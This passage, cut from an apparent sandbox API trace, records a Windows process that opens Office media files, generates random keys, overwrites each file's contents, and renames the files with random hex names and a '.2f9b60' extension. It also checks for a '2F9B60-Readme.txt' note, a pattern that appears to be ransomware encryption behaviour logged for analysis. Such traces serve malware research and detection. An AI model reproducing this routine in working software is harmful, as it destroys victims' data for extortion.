Seed=0x1e44f930) returned 0x3b7d3363 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x54cfaee2 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x56d95ada [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0xf23ab44 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x4e88d590 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x392ed6a3 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x656504f7 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x69e8e926 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x1af6c99 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x3f2bd3e3 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x33f1acf3 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x28d920b5 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x235e59e0 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x1e563d0a [0131.167] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x3c2591b0 [0131.167] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x6fd6fa20 [0131.167] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x17bb92b7 [0131.167] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x3281f8e2 [0131.167] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x718ed002 [0131.167] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x5901d6a6 [0131.167] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x750f4e8d [0131.183] ReadFile (in: hFile=0x1ac8, lpBuffer=0x41f1b4e0, nNumberOfBytesToRead=0x158c, lpNumberOfBytesRead=0x1e44f930, lpOverlapped=0x0 | out: lpBuffer=0x41f1b4e0*, lpNumberOfBytesRead=0x1e44f930*=0x158c, lpOverlapped=0x0) returned 1 [0131.196] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.197] WriteFile (in: hFile=0x1ac8, lpBuffer=0x201f5950*, nNumberOfBytesToWrite=0x158c, lpNumberOfBytesWritten=0x1e44f934, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesWritten=0x1e44f934*=0x158c, lpOverlapped=0x0) returned 1 [0131.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0131.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ab0) returned 1 [0131.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0131.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1b4e0) returned 1 [0131.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505290) returned 1 [0131.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0131.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266ab0 [0131.228] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.228] WriteFile (in: hFile=0x1ac8, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e44fa50, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x1e44fa50*=0x10a, lpOverlapped=0x0) returned 1 [0131.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0131.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0131.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0131.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0131.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0131.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.237] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="0e") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="ed") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="9a") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="ca") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="aa") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="9d") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="95") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="71") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="3d") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="77") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="16") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="c0") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="aa") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="a9") returned 2 [0131.237] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="3f") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="4b") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="aa") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="a4") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="81") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="8d") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="41") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="1b") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="ac") returned 2 [0131.238] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="41") returned 2 [0131.238] RtlInitAnsiString (in: DestinationString=0x1e44fac8, SourceString="0eed9acaaa9d95713d7716c0aaa93f4baaa4818d411bac41" | out: DestinationString="0eed9acaaa9d95713d7716c0aaa93f4baaa4818d411bac41") [0131.238] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e44fa98, SourceString="0eed9acaaa9d95713d7716c0aaa93f4baaa4818d411bac41", AllocateDestinationString=1 | out: DestinationString="0eed9acaaa9d95713d7716c0aaa93f4baaa4818d411bac41") returned 0x0 [0131.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0131.238] wcscat (in: _Dest=0x4205cbf0, _Source="0eed9acaaa9d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0eed9acaaa9d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0eed9acaaa9d" [0131.238] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0eed9acaaa9d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0eed9acaaa9d.2f9b60" [0131.238] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0eed9acaaa9d.2f9b60", NtPathName=0x1e44fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\0eed9acaaa9d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.242] NtQueryInformationFile (in: FileHandle=0x1ac8, IoStatusBlock=0x1e44fad8, FileInformation=0x1e44fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e44fad8, FileInformation=0x1e44fae8) returned 0x0 [0131.242] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x1e44fad8, FileInformation=0x1e44fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0131.254] FlushFileBuffers (hFile=0x1ac8) returned 1 [0131.255] CloseHandle (hObject=0x1ac8) returned 1 [0131.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x20509de0 [0131.260] wcscpy (in: _Dest=0x20509de0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.260] wcscat (in: _Dest=0x20509de0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509de0) returned 1 [0131.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ad10) returned 1 Thread: id = 1730 os_tid = 0xe78 [0131.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf")) returned 0x20 [0131.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF", dwFileAttributes=0x20) returned 1 [0131.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac4 [0131.194] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x231ef980 | out: lpFileSize=0x231ef980*=3792) returned 1 [0131.194] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0xecc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.194] ReadFile (in: hFile=0x1ac4, lpBuffer=0x231ef900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x231ef948, lpOverlapped=0x0 | out: lpBuffer=0x231ef900*, lpNumberOfBytesRead=0x231ef948*=0x4, lpOverlapped=0x0) returned 1 [0131.210] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0131.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.211] NtQuerySystemTime (in: CurrentTime=0x231ef840 | out: CurrentTime=0x231ef840*=132462177364450000) returned 0x0 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x38a4cea3 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x4b2be7c5 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x79df927f [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x77a5673 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x3cd2bb2c [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x43c5061d [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0xa6ff346 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x231e7366 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x154d9a30 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x349699b9 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x5d4a6e34 [0131.211] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x9f2ff1a [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x72a280bb [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x2721102a [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x3ddee80b [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x9baae01 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x6b1700bf [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x53da4d98 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x8a857ef [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x661ebc10 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x728a116c [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x6f52c9c5 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x6b74db04 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x1d0a30d8 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x39a1a380 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x62cc43ad [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x157c3c9f [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x5b4d743d [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x45256cc5 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x42222f45 [0131.212] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x4766ddf9 [0131.213] RtlRandomEx (in: Seed=0x231ef830 | out: Seed=0x231ef830) returned 0x7a60fb98 [0131.225] ReadFile (in: hFile=0x1ac4, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0xed0, lpNumberOfBytesRead=0x231ef830, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x231ef830*=0xed0, lpOverlapped=0x0) returned 1 [0131.225] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.225] WriteFile (in: hFile=0x1ac4, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x231ef834, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x231ef834*=0xed0, lpOverlapped=0x0) returned 1 [0131.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0131.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266810 [0131.234] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.234] WriteFile (in: hFile=0x1ac4, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x231ef950, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x231ef950*=0x10a, lpOverlapped=0x0) returned 1 [0131.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0131.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266780) returned 1 [0131.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.263] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="23") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="0c") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="3e") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="b3") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="75") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="22") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="3f") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="94") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="5a") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="f3") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="67") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="37") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="3b") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="e9") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="a2") returned 2 [0131.263] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="89") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="fa") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="f2") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="12") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="fc") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="93") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="74") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="4c") returned 2 [0131.264] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="ef") returned 2 [0131.264] RtlInitAnsiString (in: DestinationString=0x231ef9c8, SourceString="230c3eb375223f945af367373be9a289faf212fc93744cef" | out: DestinationString="230c3eb375223f945af367373be9a289faf212fc93744cef") [0131.264] RtlAnsiStringToUnicodeString (in: DestinationString=0x231ef998, SourceString="230c3eb375223f945af367373be9a289faf212fc93744cef", AllocateDestinationString=1 | out: DestinationString="230c3eb375223f945af367373be9a289faf212fc93744cef") returned 0x0 [0131.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0131.264] wcscat (in: _Dest=0x4205cbf0, _Source="230c3eb37522" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\230c3eb37522") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\230c3eb37522" [0131.264] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\230c3eb37522.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\230c3eb37522.2f9b60" [0131.264] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\230c3eb37522.2f9b60", NtPathName=0x231ef970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\230c3eb37522.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.267] NtQueryInformationFile (in: FileHandle=0x1ac4, IoStatusBlock=0x231ef9d8, FileInformation=0x231ef9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x231ef9d8, FileInformation=0x231ef9e8) returned 0x0 [0131.267] NtSetInformationFile (FileHandle=0x1ac4, IoStatusBlock=0x231ef9d8, FileInformation=0x231ef9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0131.270] FlushFileBuffers (hFile=0x1ac4) returned 1 [0131.274] CloseHandle (hObject=0x1ac4) returned 1 [0131.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050ad10 [0131.276] wcscpy (in: _Dest=0x2050ad10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.276] wcscat (in: _Dest=0x2050ad10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ad10) returned 1 [0131.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a260) returned 1 Thread: id = 1731 os_tid = 0x1720 [0131.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf")) returned 0x20 [0131.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF", dwFileAttributes=0x20) returned 1 [0131.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0131.272] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2369f860 | out: lpFileSize=0x2369f860*=20474) returned 1 [0131.272] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x4ff6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.272] ReadFile (in: hFile=0x1ac0, lpBuffer=0x2369f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2369f828, lpOverlapped=0x0 | out: lpBuffer=0x2369f7e0*, lpNumberOfBytesRead=0x2369f828*=0x4, lpOverlapped=0x0) returned 1 [0131.277] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0131.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.277] NtQuerySystemTime (in: CurrentTime=0x2369f720 | out: CurrentTime=0x2369f720*=132462177365230000) returned 0x0 [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x514ae6e9 [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x35afe8ae [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x2c2a3033 [0131.277] RtlRandomEx (in: Seed=0x2369f710 | out: Seed=0x2369f710) returned 0x3c426ceb [0131.277] RtlRandomEx (in: 